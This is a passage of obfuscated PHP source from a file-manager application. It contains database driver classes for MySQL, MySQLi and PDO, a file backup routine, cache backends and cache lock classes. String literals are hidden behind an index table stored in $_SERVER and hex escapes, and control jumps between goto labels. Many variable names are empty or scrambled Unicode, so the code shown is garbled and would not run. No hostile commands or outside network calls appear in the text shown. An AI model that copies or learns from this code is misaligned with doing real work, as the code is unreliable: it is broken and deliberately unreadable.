($this->queryID) { $this->free(); } think_action_status($獀[25], 1); think_status($獀[24]); $ = mysql_query($Ӏ, $this->_linkID); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[砐][945], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[砐][946], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[砐][947], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { while ($Աۈ = mysql_fetch_assoc($this->queryID)) { $[] = $Աۈ; } mysql_data_seek($this->queryID, 0); } return $; } public function getFields($Ɛ) { $ԥ =& $_SERVER[砐]; $ = $this->query($ԥ[948] . $this->parseKey($Ɛ)); $ = array(); if ($) { foreach ($ as $헐 => $) { $[$[$ԥ[31]]] = array($ԥ[32] => $[$ԥ[31]], $ԥ[33] => $[$ԥ[34]], $ԥ[35] => (bool) (strtoupper($[$ԥ[36]]) === $ԥ[949]), $ԥ[37] => $[$ԥ[38]], $ԥ[39] => strtolower($[$ԥ[40]]) == $ԥ[41], $ԥ[42] => strtolower($[$ԥ[43]]) == $ԥ[44]); } } return $; } public function getTables($ = '') { $ݽ =& $_SERVER[砐]; if (!empty($)) { $׼ = $ݽ[950] . $ . $ݽ[951]; } else { $׼ = $ݽ[952]; } $Ɍ = $this->query($׼); $ƣۈ = array(); foreach ($Ɍ as $ƕ => $) { $ƣۈ[$ƕ] = current($); } return $ƣۈ; } public function replace($Ն, $僟 = array()) { $ =& $_SERVER[砐]; foreach ($Ն as $˛ñ => $) { $ږ = $this->parseValue($); if (is_scalar($ږ)) { $[] = $ږ; $ۮ[] = $this->parseKey($˛ñ); } } $˷ = $[953] . $this->parseTable($僟[$[325]]) . $[954] . implode($[50], $ۮ) . $[955] . implode($[50], $) . $[956]; return $this->execute($˷); } public function insertAll($, $ = array(), $ǫΛ = false) { $ =& $_SERVER[砐]; if (!is_array($[0])) { return !1; } $ק = array_keys($[0]); $ѕ = array(); foreach ($ as $ԃ͛) { $ = array(); foreach ($ԃ͛ as $ => $󯏜) { $󯏜 = $this->parseValue($󯏜); if (is_scalar($󯏜)) { $[] = $󯏜; } } $ѕ[] = $[306] . implode($[50], $) . $[956]; } array_walk($ק, array($this, $[957])); $ = ($ǫΛ ? $[958] : $[959]) . $[960] . $this->parseTable($[$[325]]) . $[954] . implode($[50], $ק) . $[961] . implode($[50], $ѕ); return $this->execute($); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $ =& $_SERVER[砐]; $this->error = mysql_errno() . $[4] . mysql_error($this->_linkID); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($Մ) { if ($this->_linkID) { return mysql_real_escape_string($Մ, $this->_linkID); } else { return mysql_escape_string($Մ); } } public function parseKey(&$, $ؠ㢇 = true) { $ =& $_SERVER[砐]; if ($ؠ㢇) { $ = $this->parseKeyCheck($); } if ($ != $[205] && !preg_match($[962], $)) { $ = $[431] . trim($, $[431]) . $[431]; } return $; } } class DbMysqli extends Db { public function __construct($ρ = '') { $ܹ =& $_SERVER[砐]; if (!extension_loaded($ܹ[963])) { think_exception(think_lang($ܹ[14]) . $ܹ[964]); } if (!empty($ρ)) { $this->config = $ρ; if (empty($this->config[$ܹ[17]])) { $this->config[$ܹ[17]] = $ܹ[12]; } } } public function connect($ = '', $ = 0) { $ =& $_SERVER[砐]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $this->linkID[$] = new mysqli($[$[937]], $[$[939]], $[$[940]], $[$[21]], $[$[938]] ? intval($[$[938]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $͚ = $this->linkID[$]->server_version; $this->linkID[$]->query($[941] . think_config($[942]) . $[58]); if ($͚ > $[943]) { $this->linkID[$]->query($[944]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($) { $ =& $_SERVER[砐]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = $this->_linkID->query($); if ($this->_linkID->more_results()) { while (($ֆ = $this->_linkID->next_result()) != NULL) { $ֆ->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($) { $ =& $_SERVER[砐]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $Թ = $this->_linkID->query($); $this->debug(); if (!1 === $Թ) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ݢ = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $ݢ[$] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $ݢ; } public function getFields($̀) { $ =& $_SERVER[砐]; $ = $this->query($[948] . $this->parseKey($̀)); $ = array(); if ($) { foreach ($ as $ => $) { $[$[$[31]]] = array($[32] => $[$[31]], $[33] => $[$[34]], $[35] => (bool) ($[$[36]] === $[12]), $[37] => $[$[38]], $[39] => strtolower($[$[40]]) == $[41], $[42] => strtolower($[$[43]]) == $[44]); } } return $; } public function getTables($È = '') { $ؗ =& $_SERVER[砐]; $ = !empty($È) ? $ؗ[950] . $È . $ؗ[951] : $ؗ[952]; $ɺ = $this->query($); $ϖ = array(); if ($ɺ) { foreach ($ɺ as $Ք => $ф) { $ϖ[$Ք] = current($ф); } } return $ϖ; } public function replace($njȁ, $܎ = array()) { $ʘ =& $_SERVER[砐]; foreach ($njȁ as $׸ => $) { $ = $this->parseValue($); if (is_scalar($)) { $Ψ[] = $; $[] = $this->parseKey($׸); } } $ = $ʘ[953] . $this->parseTable($܎[$ʘ[325]]) . $ʘ[954] . implode($ʘ[50], $) . $ʘ[955] . implode($ʘ[50], $Ψ) . $ʘ[956]; return $this->execute($); } public function insertAll($, $⯴ = array(), $ۭ = false) { $ۍ =& $_SERVER[砐]; if (!is_array($[0])) { return !1; } $ = array_keys($[0]); $ܩ = array(); foreach ($ as $) { $ܐ = array(); foreach ($ as $ => $׊) { $׊ = $this->parseValue($׊); if (is_scalar($׊)) { $ܐ[] = $׊; } } $ܩ[] = $ۍ[306] . implode($ۍ[50], $ܐ) . $ۍ[956]; } array_walk($, array($this, $ۍ[957])); $Ŷ = $ۭ ? $ۍ[958] : $ۍ[959]; $ = $Ŷ . $ۍ[960] . $this->parseTable($⯴[$ۍ[325]]) . $ۍ[954] . implode($ۍ[50], $) . $ۍ[961] . implode($ۍ[50], $ܩ); return $this->execute($); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $સ =& $_SERVER[砐]; $this->error = $this->_linkID->errno . $સ[4] . $this->_linkID->error; if ($સ[12] != $this->queryStr) { $this->error .= LNG($સ[48]) . $this->queryStr; } think_trace($this->error, $સ[12], $સ[49]); return $this->error; } public function escapeString($) { if ($this->_linkID) { return $this->_linkID->real_escape_string($); } else { return addslashes($); } } public function parseKey(&$ѥ, $Ն = true) { $ۘ =& $_SERVER[砐]; if ($Ն) { $ѥ = $this->parseKeyCheck($ѥ); } if ($ѥ != $ۘ[205] && !preg_match($ۘ[962], $ѥ)) { $ѥ = $ۘ[431] . trim($ѥ, $ۘ[431]) . $ۘ[431]; } return $ѥ; } } class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($ = '') { $Ӭ =& $_SERVER[砐]; if (!class_exists($Ӭ[965])) { think_exception(think_lang($Ӭ[14]) . $Ӭ[966]); } if (!empty($)) { $this->config = $; if (empty($this->config[$Ӭ[17]])) { $this->config[$Ӭ[17]] = array(); } } } public function connect($ = '', $ = 0) { $̯ =& $_SERVER[砐]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $ն = !empty($[$̯[17]][$̯[18]]) ? $[$̯[17]][$̯[18]] : $this->pconnect; if ($ն) { $[$̯[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$] = new PDO($[$̯[967]], $[$̯[939]], $[$̯[940]], $[$̯[17]]); } catch (PDOException $ՙ) { think_exception($ՙ->getMessage()); } $this->dbType = $this->_getDsnType($[$̯[967]]); if (in_array($this->dbType, array($̯[968], $̯[969], $̯[970], $̯[971]))) { think_exception($̯[972] . $this->dbType . $̯[973] . $this->dbType . $̯[974]); } if (!$this->linkID[$]) { think_exception($̯[975]); } try { $this->linkID[$]->exec($̯[976] . think_config($̯[942])); } catch (Exception $ՙ) { } $this->connected = !0; if (1 != think_config($̯[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->PDOStatement = null; } public function query($, $섯Ԫ = array()) { $Ց‹ =& $_SERVER[砐]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($섯Ԫ)) { $this->queryStr .= $Ց‹[977] . print_r($섯Ԫ, !0) . $Ց‹[978]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($Ց‹[23], 1); think_status($Ց‹[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($섯Ԫ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($߄, $ = array()) { $ڑ =& $_SERVER[砐]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $߄; if (!empty($)) { $this->queryStr .= $ڑ[977] . print_r($, !0) . $ڑ[978]; } $݉ = !1; if ($this->dbType == $ڑ[971]) { if (preg_match($ڑ[979], $this->queryStr, $ߵ)) { $this->table = think_config($ڑ[980]) . str_ireplace(think_config($ڑ[981]), $ڑ[424], $ߵ[2]); $݉ = (bool) $this->query($ڑ[982] . strtoupper($this->table) . $ڑ[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($ڑ[25], 1); think_status($ڑ[24]); $this->PDOStatement = $this->_linkID->prepare($߄); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($݉ || preg_match($ڑ[983], $߄)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $槊 = $this->_linkID->commit(); $this->transTimes = 0; if (!$槊) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $З = $this->_linkID->rollback(); $this->transTimes = 0; if (!$З) { $this->error(); return !1; } } return !0; } private function getAll() { $ւ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($ւ); return $ւ; } public function getFields($) { $ė =& $_SERVER[砐]; $this->initConnect(!0); if (think_config($ė[984])) { $Ȃ = str_replace($ė[985], $, think_config($ė[984])); } else { switch ($this->dbType) { case $ė[968]: case $ė[986]: $Ȃ = "\x53\105\114\105\103\124\x20\x20\x20\x63\157\154\165\155\x6e\137\156\x61\155\145\40\x61\x73\x20\x27\116\141\x6d\145\x27\x2c\x20\x20\x20\144\141\x74\141\137\164\171\160\x65\40\x61\x73\x20\x27\124\171\160\x65\47\54\x20\40\40\143\157\x6c\165\155\x6e\x5f\144\145\146\x61\x75\x6c\x74\x20\141\x73\40\x27\x44\x65\x66\141\x75\154\x74\47\54\x20\x20\x20\151\163\137\x6e\x75\x6c\x6c\x61\x62\154\145\40\141\163\40\47\116\x75\154\x6c\x27\xa\11\x9\x46\x52\x4f\x4d\x9\151\x6e\x66\x6f\162\155\141\x74\151\157\156\x5f\x73\x63\x68\145\155\141\x2e\x74\141\x62\x6c\x65\163\40\101\x53\40\164\12\x9\x9\x4a\x4f\111\116\11\151\x6e\146\157\162\155\x61\x74\x69\157\156\x5f\163\143\150\145\155\x61\x2e\x63\x6f\x6c\165\x6d\156\163\40\101\123\x20\143\xa\11\11\117\x4e\40\40\x74\56\x74\141\x62\154\x65\x5f\x63\x61\x74\141\x6c\x6f\x67\40\75\40\x63\x2e\x74\x61\x62\x6c\x65\137\x63\x61\x74\x61\154\x6f\x67\xa\11\x9\x41\116\x44\x20\164\x2e\x74\x61\142\154\x65\137\x73\x63\x68\145\x6d\141\x20\75\x20\143\x2e\164\x61\x62\154\x65\x5f\163\143\150\145\155\x61\12\x9\11\101\116\x44\x20\164\56\164\141\142\154\x65\137\x6e\141\x6d\145\40\x3d\x20\x63\56\x74\x61\x62\154\145\137\x6e\x61\x6d\x65\xa\11\11\x57\110\105\x52\x45\40\x20\x20\x74\56\x74\x61\142\x6c\145\137\x6e\x61\155\145\x20\75\40\47{$}\x27"; break; case $ė[987]: $Ȃ = $ė[988] . $ . $ė[989]; break; case $ė[969]: case $ė[971]: $Ȃ = $ė[990] . $ė[991] . $ė[992] . strtoupper($) . $ė[993] . strtoupper($) . $ė[994]; break; case $ė[995]: $Ȃ = $ė[996] . $ . $ė[997]; break; case $ė[970]: break; case $ė[998]: default: $Ȃ = $ė[999] . ($this->dbType == $ė[998] ? "\140{$}\x60" : $); } } $ϭջ = $this->query($Ȃ); $ = array(); if ($ϭջ) { foreach ($ϭջ as $ => $) { $ = array_change_key_case($); $[$ė[32]] = isset($[$ė[32]]) ? $[$ė[32]] : $ė[424]; $[$ė[33]] = isset($[$ė[33]]) ? $[$ė[33]] : $ė[424]; $ɂ = isset($[$ė[319]]) ? $[$ė[319]] : $[$ė[32]]; $[$ɂ] = array($ė[32] => $ɂ, $ė[33] => $[$ė[33]], $ė[35] => (bool) (isset($[$ė[105]]) && $[$ė[105]] === $ė[12] || isset($[$ė[35]]) && $[$ė[35]] === $ė[12]), $ė[37] => isset($[$ė[37]]) ? $[$ė[37]] : (isset($[$ė[56]]) ? $[$ė[56]] : $ė[424]), $ė[39] => isset($[$ė[96]]) ? strtolower($[$ė[96]]) == $ė[41] : (isset($[$ė[57]]) ? $[$ė[57]] : !1), $ė[42] => isset($[$ė[1000]]) ? strtolower($[$ė[1000]]) == $ė[44] : (isset($[$ė[96]]) ? $[$ė[96]] : !1)); } } return $; } public function getTables($˷ = '') { $ =& $_SERVER[砐]; if (think_config($[1001])) { $ = str_replace($[1002], $˷, think_config($[1001])); } else { switch ($this->dbType) { case $[969]: case $[971]: $ = $[1003]; break; case $[968]: case $[986]: $ = $[1004]; break; case $[995]: $ = $[1005]; break; case $[970]: think_exception(think_lang($[1006]) . $[1007]); break; case $[987]: $ = $[45] . $[46] . $[47]; break; case $[998]: default: if (!empty($˷)) { $ = $[950] . $˷ . $[951]; } else { $ = $[952]; } } } $ = $this->query($); $Ä = array(); foreach ($ as $ => $뼬) { $Ä[$] = current($뼬); } return $Ä; } protected function parseLimit($) { $췀ش =& $_SERVER[砐]; $ = $췀ش[12]; if (!empty($)) { switch ($this->dbType) { case $췀ش[995]: case $췀ش[987]: $ = explode($췀ش[50], $); if (count($) > 1) { $ .= $췀ش[51] . $[1] . $췀ش[52] . $[0] . $췀ش[53]; } else { $ .= $췀ش[51] . $[0] . $췀ش[53]; } break; case $췀ش[968]: case $췀ش[986]: break; case $췀ش[970]: break; case $췀ش[969]: case $췀ش[971]: break; case $췀ش[998]: default: $ .= $췀ش[51] . $ . $췀ش[53]; } } return $; } public function parseKey(&$, $ۢ = true) { $ =& $_SERVER[砐]; if ($ۢ) { $ = $this->parseKeyCheck($); } if ($this->dbType == $[998]) { if ($ != $[205] && !preg_match($[962], $)) { $ = $[431] . trim($, $[431]) . $[431]; } return $; } else { return parent::parseKey($, $ۢ); } } public function close() { $this->_linkID = null; } public function error() { $؞˛ =& $_SERVER[砐]; if ($this->PDOStatement) { $´ь = $this->PDOStatement->errorInfo(); $this->error = $´ь[1] . $؞˛[4] . $´ь[2]; } else { $this->error = $؞˛[12]; } if ($؞˛[12] != $this->queryStr) { $this->error .= LNG($؞˛[48]) . $this->queryStr; } think_trace($this->error, $؞˛[12], $؞˛[49]); return $this->error; } public function escapeString($õɤ) { $ =& $_SERVER[砐]; switch ($this->dbType) { case $[995]: case $[968]: case $[986]: case $[998]: return addslashes($õɤ); case $[970]: case $[987]: case $[969]: case $[971]: return str_ireplace($[58], $[59], $õɤ); } } protected function parseValue($ݲ) { $ =& $_SERVER[砐]; if (is_string($ݲ)) { $ = strpos($ݲ, $[4]) === 0 && in_array($ݲ, array_keys($this->bind)); $ݲ = $ ? $this->escapeString($ݲ) : $[1008] . $this->escapeString($ݲ) . $[1008]; } elseif (isset($ݲ[0]) && is_string($ݲ[0]) && strtolower($ݲ[0]) == $[343]) { $ݲ = $this->escapeString($ݲ[1]); } elseif (is_array($ݲ)) { $ݲ = array_map(array($this, $[1009]), $ݲ); } elseif (is_bool($ݲ)) { $ݲ = $ݲ ? $[90] : $[214]; } elseif (is_null($ݲ)) { $ݲ = $[105]; } return $ݲ; } public function getLastInsertId() { $ =& $_SERVER[砐]; switch ($this->dbType) { case $[995]: case $[987]: case $[968]: case $[986]: case $[970]: case $[998]: return $this->_linkID->lastInsertId(); case $[969]: case $[971]: $Ȱ = $this->table; $Ӭ = $this->query("\x53\105\x4c\105\103\124\40{$Ȱ}\x2e\x63\x75\162\162\166\x61\154\x20\143\165\x72\162\166\x61\154\40\106\122\117\115\40\x64\165\141\154"); return $Ӭ ? $Ӭ[0][$[1010]] : 0; } } } goto A; bė: class BackupFile { public function __construct() { } public function index() { $ҕݜ = Backup::get(); $ = $ҕݜ[$_SERVER[砐][339]][$_SERVER[砐][216]][$_SERVER[砐][511]]; $ = array($_SERVER[砐][512] => array($_SERVER[砐][852], $), $_SERVER[砐][853] => array($_SERVER[砐][377], $ҕݜ[$_SERVER[砐][796]])); $ = (int) Model($_SERVER[砐][834])->where($)->count($_SERVER[砐][511]); $ߴ = (int) Model($_SERVER[砐][834])->where($)->sum($_SERVER[砐][78]); $ǒ = new TaskFileTransfer($_SERVER[砐][854], $_SERVER[砐][825], $, LNG($_SERVER[砐][826]) . $_SERVER[砐][827] . LNG($_SERVER[砐][855])); $ǒ->task[$_SERVER[砐][808]] = $ߴ; $åè = array($_SERVER[砐][856] => $, $_SERVER[砐][857] => $ߴ, $_SERVER[砐][858] => time()); Backup::set($åè); $ৠ = !0; $嶎 = $this->storeIds(); $ = 1; $֧ = 1000; $զ޾ = $Ѹ = 0; $ = array(); $ȣ = $ԯ = 0; do { $ү = $_SERVER[砐][859]; $ = Model($_SERVER[砐][834])->where($)->field($ү)->order($_SERVER[砐][860])->selectPage($֧, $); $ᴭ = !empty($[$_SERVER[砐][415]]) ? $[$_SERVER[砐][415]] : array(); foreach ($ᴭ as $Ψ) { if (!$this->_fileExist($Ψ, $, $嶎)) { $ -= 1; $ߴ -= (int) $Ψ[$_SERVER[砐][78]]; write_log("\146\151\154\145\40\156\x6f\164\x20\x65\170\x69\163\x74\56\146\151\x6c\x65\x49\x44\x3a{$Ψ[$_SERVER[砐][511]]}\x2c\40\x70\x61\164\150\x3a{$Ψ[$_SERVER[砐][86]]}", $_SERVER[砐][861]); continue; } $ = $Ψ[$_SERVER[砐][86]]; $ = "\173\151\x6f\x3a{$ҕݜ[$_SERVER[砐][796]]}\175" . substr($, strlen("\173\151\157\x3a{$Ψ[$_SERVER[砐][862]]}\x7d")); if (IO::exist($)) { $ǒ->updateFileEnd($Ψ[$_SERVER[砐][32]], $Ψ[$_SERVER[砐][78]]); } else { $ = get_path_father($); IO::mkdir($); if (!IO::copy($, $, $_SERVER[砐][863])) { write_log($_SERVER[砐][864] . $ . $_SERVER[砐][848] . $ . $_SERVER[砐][167], $_SERVER[砐][825]); $ৠ = !1; break; } } $ = $Ψ[$_SERVER[砐][511]]; $Ѹ += 1; $զ޾ += $Ψ[$_SERVER[砐][78]]; $ԯ += 1; $ȣ += $Ψ[$_SERVER[砐][78]]; if ($զ޾ >= 1024 * 1024 * 100) { $åè = array($_SERVER[砐][865] => $, $_SERVER[砐][866] => $ԯ, $_SERVER[砐][867] => $ȣ); Backup::set($åè); $զ޾ = $Ѹ = 0; } } $ = count($ᴭ); $++; } while ($ == $֧); $ǒ->end(); $åè = array($_SERVER[砐][868] => 1, $_SERVER[砐][806] => time(), $_SERVER[砐][820] => 1, $_SERVER[砐][865] => $, $_SERVER[砐][857] => $ߴ, $_SERVER[砐][856] => $, $_SERVER[砐][869] => time()); if ($Ѹ) { $åè[$_SERVER[砐][866]] = $ԯ; $åè[$_SERVER[砐][867]] = $ȣ; } Backup::set($åè); $this->_fileFilter($); return !0; } private function _fileExist($Ӄ͐, &$̫, $) { $ =& $_SERVER[砐]; $Dž׫ = $Ӄ͐[$[86]]; if (in_array($Ӄ͐[$[511]], $̫)) { return !1; } if (!in_array($Ӄ͐[$[862]], $)) { return !1; } if (IO::exist($Dž׫)) { return !0; } $ = get_path_father($Dž׫); if (IO::exist($)) { $̫[] = $Ӄ͐[$[511]]; return !1; } $˦ = array($[862] => $Ӄ͐[$[862]], $[86] => array($[429], "{$}\x25")); $Ǻ = Model($[834])->where($˦)->field($[512])->select(); $̫ = array_merge($̫, array_to_keyvalue($Ǻ, $[12], $[511])); return !1; } private function _fileFilter($) { $ =& $_SERVER[砐]; if (empty($)) { return; } $ = array($[511] => array($[7], array_unique($))); $ = Model($[870])->where($)->field($[183])->select(); foreach ($ as $͟) { Model($[870])->remove($͟[$[183]], !1); } } private function storeIds() { $뻴؍ =& $_SERVER[砐]; $ = Model($뻴؍[812])->listData(); $ſ = array(); $Ƙ = $GLOBALS[$뻴؍[6]][$뻴؍[91]][$뻴؍[871]]; foreach ($ as $ų) { $ = strtolower($ų[$뻴؍[97]]); if (!isset($Ƙ[$])) { continue; } $ŧ = $뻴؍[76] . (isset($Ƙ[$]) ? $Ƙ[$] : ucfirst($)); if (!class_exists($ŧ)) { continue; } $ſ[] = $ų[$뻴؍[445]]; } return $ſ; } } class Cache { protected static $handle; protected static $memoryCache; public static function init() { $ =& $_SERVER[砐]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $ = $GLOBALS[$[6]][$[395]]; $˟ = $[$[$[872]]]; $ = $[$[873]]; switch ($[$[872]]) { case $[21]: self::$handle = Model($[874]); break; case $[875]: self::$handle = new CacheRedis($˟, $); break; case $[876]: self::$handle = new CacheMemcached($˟, $); break; case $[216]: self::$handle = new CacheFile($˟, $); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($ͨ) { if (is_array($ͨ) || is_object($ͨ)) { $ͨ = json_encode($ͨ); } $ͨ = rawurlencode($ͨ); return md5(KOD_SITE_ID . $_SERVER[砐][11] . $ͨ); } public static function get($ؖ, $ = false) { $Κߥ = self::key($ؖ); $ = self::init(); if ($) { return unserialize($->get($Κߥ)); } if (!isset(self::$memoryCache[$Κߥ])) { $ = $->get($Κߥ); self::$memoryCache[$Κߥ] = unserialize($); } return self::$memoryCache[$Κߥ]; } public static function set($ۈǮ, $ݒ, $ѼƐ = false) { $ܓ =& $_SERVER[砐]; $ƚ = self::key($ۈǮ); if (isset(self::$memoryCache[$ƚ]) && self::$memoryCache[$ƚ] === $ݒ) { return !0; } if ($ѼƐ === 0) { self::$memoryCache[$ƚ] = $ݒ; return !0; } $Ъ = self::init(); $㫮 = serialize($ݒ); CacheLock::lock($ۈǮ . $ܓ[877]); $ݔ÷ = $Ъ->set($ƚ, $㫮, $ѼƐ); self::$memoryCache[$ƚ] = $ݒ; CacheLock::unlock($ۈǮ . $ܓ[877]); return $ݔ÷; } public static function getCall($ݭ, $ʃń, $, $،¶ = array()) { $ =& $_SERVER[砐]; $ = self::get($ݭ); if ($ || $ === $[12]) { return $; } $ = call_user_func_array($, $،¶); $ = $ ? $ : $[12]; self::set($ݭ, $, $ʃń); return $; } public static function remove($㰬) { $㈌ = self::key($㰬); unset(self::$memoryCache[$㈌]); self::clearTimeout(); CacheLock::lock($㰬); $Ӂ = self::init()->remove($㈌); CacheLock::unlock($㰬); return $Ӂ; } public static function removeMemory($) { $ = self::key($); unset(self::$memoryCache[$]); } public static function clearMemory($؄ = false) { if ($؄) { $؄ = self::key($؄); unset(self::$memoryCache[$؄]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[砐][878])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[砐][879])) { self::init()->clearTimeout(); } } } class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($, $) { $ =& $_SERVER[砐]; $this->cachePath = $[$[86]]; $this->prefix = $[880]; $this->cacheTime = $; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($šȗ) { $ =& $_SERVER[砐]; $šȗ = str_replace(array($[881], $[99], $[75]), $[882], $šȗ); return $this->cachePath . $[883] . $šȗ . $[884]; } public function set($, $ͬ좌, $̡Ș = false) { $̡Ș = $̡Ș ? $̡Ș : $this->cacheTime; $ٵ = $this->getFile($); if (file_put_contents($ٵ, $this->prefix . $ͬ좌, LOCK_EX)) { @touch($ٵ, intval(time() + $̡Ș)); clearstatcache(); return !0; } @unlink($ٵ); return !1; } public function get($ڼ) { $ = $this->getFile($ڼ); if (file_exists($) && filemtime($) < time()) { @unlink($); return !1; } $‘ = @file_get_contents($); return substr($‘, strlen($this->prefix)); } public function remove($) { $㹃 = $this->getFile($); return @unlink($㹃); } public function deleteAll() { $ڭ =& $_SERVER[砐]; $ʴ = scandir($this->cachePath); foreach ($ʴ as $) { $ = $this->cachePath . $; if (strpos($, $ڭ[884]) && strpos($, $ڭ[885])) { @unlink($); } } } public function clearTimeout() { $ٺ =& $_SERVER[砐]; $⢧ = scandir($this->cachePath); foreach ($⢧ as $Ӡ) { $Ũ = $this->cachePath . $Ӡ; if (strpos($Ũ, $ٺ[884]) && strpos($Ũ, $ٺ[885]) && filemtime($Ũ) < time()) { @unlink($Ũ); } } } } goto F刣; DՔ: class CacheLockRedis { public function lock($, $ = 10) { $ = Cache::init(); $ = microtime(!0) + $; while (microtime(!0) < $) { $ = $->get($); if (!$) { $ = $->setLock($, $, $); if ($) { return !0; } } else { if ($ < microtime(!0)) { $->set($, $, $ * 2); if ($->get($) === $) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($ʷ) { return Cache::init()->get($ʷ); } public function unlock($б΢) { return Cache::init()->remove($б΢); } } class CacheLockMemcached { public function lock($ډ, $ = 0) { $ = Cache::init(); $ = microtime(!0) + $; while (microtime(!0) < $) { $ = $->get($ډ); if (!$ || $ < microtime(!0)) { $􉬌 = $->handle->add($ډ, $, $); if ($􉬌) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($֬Ӌ) { return Cache::init()->get($֬Ӌ); } public function unlock($χߍ) { return Cache::init()->remove($χߍ); } } class CacheLockDatabase { public function lock($ꮄ, $ = 0) { $ = Model($_SERVER[砐][874]); $鯊 = microtime(!0) + $; while (microtime(!0) < $鯊) { $ = $->get($ꮄ); if (!$ || $ < microtime(!0)) { $ = $->set($ꮄ, $鯊); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Model($_SERVER[砐][874])->get($); } public function unlock($) { Model($_SERVER[砐][874])->remove($); } } goto a̟; F: class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($퐟 = false, $ = '', $Ɍ = false) { $ =& $_SERVER[砐]; $ = $this->cacheGet($); $ = $this->optionDefault($); $ = is_array($) ? $ : array(); if (is_array($)) { $ = array_merge($, $); return $퐟 ? isset($[$퐟]) ? $[$퐟] : null : $; } $ = $this->filterWhere(array($[33] => $)); $ = $this->where($)->select(); $ = array_to_keyvalue($, $[96], $[420]); foreach ($ as $ͭ => $) { if ($Ɍ || in_array($ͭ, $this->jsonField)) { $[$ͭ] = json_decode($, !0); } } $this->cacheSet($, $); $ = array_merge($, $); return $퐟 ? $[$퐟] : $; } public function set($ؑ˷, $Ù = false, $ˉ = '') { $ο =& $_SERVER[砐]; $this->cacheRemove($ˉ); $ = array(); $ = is_array($ؑ˷) ? $ؑ˷ : array($ؑ˷ => $Ù); foreach ($ as $ݒ => $­) { if (is_array($­)) { $­ = json_encode_force($­); } $this->checkLength($­, !1, $this->tableName . $ο[4] . $ؑ˷); $­ = self::textEncode($­); $ = array($ο[33] => $ˉ, $ο[96] => $ݒ, $ο[420] => $­); $[] = $this->filterWhere($); } if (!$) { return !0; } $枫 = $this->cacheKey($ο[446]); CacheLock::lock($枫); $ɾ = $this->addAll($, array(), !0); 